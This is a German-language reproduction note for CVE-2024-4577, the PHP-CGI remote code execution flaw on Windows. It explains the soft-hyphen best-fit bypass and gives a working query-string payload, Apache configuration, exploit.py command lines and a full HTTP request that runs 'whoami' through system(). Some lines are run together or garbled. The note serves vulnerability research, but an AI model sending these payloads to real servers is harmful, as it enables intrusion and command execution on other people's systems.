
CVE-Reproduktion: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 ist eine kritische Remote-Code-Ausführungsschwachstelle in der CGI-Implementierung von PHP unter Windows. Sie umgeht den Fix für die ursprüngliche CVE-2012-1823, indem sie die Windows-„Best-Fit“-Codepage-Konvertierung ausnutzt, um Kommandozeilenargumente über die CGI-Query-String einzuschleusen.
Wenn PHP als CGI-Modul (php-cgi.exe) läuft, parst es den Query-String als Kommandozeilenargumente. Der ursprüngliche Fix für CVE-2012-1823 blockierte das Zeichen - (Bindestrich, 0x2D), um eine Argumentinjektion zu verhindern. Auf Windows-Systemen, die bestimmte Codepages verwenden (z. B. Chinesisch, Japanisch, Koreanisch), konvertiert die Funktion „Best-Fit“-Zeichenzuordnung jedoch bestimmte Unicode-Zeichen in ihre nächstgelegenen ASCII-Entsprechungen.
Der entscheidende Bypass nutzt das Zeichen Soft-Hyphen (0xAD / U+00AD). Wenn eine Anfrage %AD im Query-String übergibt und das Gebietsschema des Servers eine „Best-Fit“-Codepage verwendet, konvertiert Windows intern in (Bindestrich), sodass der Angreifer trotz des Filters PHP-Argumente injizieren kann.
0xAD0x2DBeispiel: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input wird zu -d allow_url_include=1 -d auto_prepend_file=php://input.
Konfigurationsvoraussetzungen:
php-cgi.exemod_cgi oder mod_cgidScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
Das konstruierte Payload injiziert PHP-Konfigurationsdirektiven über den Query-String:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe zu blockieren